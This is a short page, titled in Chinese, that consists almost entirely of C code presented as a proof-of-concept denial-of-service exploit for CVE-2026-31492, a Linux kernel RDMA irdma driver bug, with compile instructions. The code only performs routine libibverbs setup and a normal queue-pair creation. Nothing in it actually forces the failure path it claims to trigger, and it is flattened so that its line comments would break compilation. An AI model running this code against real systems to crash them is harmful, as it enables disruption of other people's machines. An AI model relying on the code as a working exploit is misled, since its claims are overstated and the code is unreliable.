CVE-2026-31492: Linux内核RDMA驱动初始化错误致崩溃

/* * PoC for CVE-2026-31492: Linux Kernel RDMA/irdma Initialization DoS * Reference: https://git.kernel.org/stable/c/11a95521fb93c91e2d4ef9d53dc80ef0a755549b * * Description: * This code attempts to trigger the vulnerability by calling ibv_create_qp. * If the underlying IRDMA driver hits the failure path in ib_copy_to_udata, * it will call irdma_destroy_qp which waits on an uninitialized completion, * leading to a kernel panic or deadlock. * * Compile: gcc -o poc_irdma poc_irdma.c -libverbs */ #include <stdio.h> #include <stdlib.h> #include <infiniband/verbs.h> #include <unistd.h> int main() { struct ibv_device **dev_list; struct ibv_context *ctx; struct ibv_pd *pd; struct ibv_cq *cq; struct ibv_qp *qp; struct ibv_qp_init_attr qp_init_attr; int num_devices; // 1. Get the list of RDMA devices dev_list = ibv_get_device_list(&num_devices); if (!dev_list || num_devices <= 0) { perror("Failed to get RDMA devices"); return 1; } // 2. Open the first device ctx = ibv_open_device(dev_list[0]); if (!ctx) { perror("Failed to open device"); ibv_free_device_list(dev_list); return 1; } // 3. Allocate Protection Domain pd = ibv_alloc_pd(ctx); if (!pd) { perror("Failed to allocate PD"); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } // 4. Create Completion Queue cq = ibv_create_cq(ctx, 10, NULL, NULL, 0); if (!cq) { perror("Failed to create CQ"); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 1; } // 5. Prepare QP attributes to trigger the path memset(&qp_init_attr, 0, sizeof(qp_init_attr)); qp_init_attr.send_cq = cq; qp_init_attr.recv_cq = cq; qp_init_attr.qp_type = IBV_QPT_RC; qp_init_attr.cap.max_send_wr = 1; qp_init_attr.cap.max_recv_wr = 1; qp_init_attr.cap.max_send_sge = 1; qp_init_attr.cap.max_recv_sge = 1; // 6. Attempt to create QP // The bug is triggered if the copy_to_udata fails inside the kernel. // While standard userspace APIs validate input, specific kernel versions // or driver states might allow hitting the uninitialized completion wait. printf("Attempting to create QP to trigger potential crash...\n"); qp = ibv_create_qp(pd, &qp_init_attr); if (!qp) { // If the kernel bug is triggered, the system may panic here or hang printf("QP creation failed (or kernel panicked).\n"); } else { printf("QP created successfully. System likely patched or conditions not met.\n"); ibv_destroy_qp(qp); } // Cleanup (if we reach here) ibv_destroy_cq(cq); ibv_dealloc_pd(pd); ibv_close_device(ctx); ibv_free_device_list(dev_list); return 0; }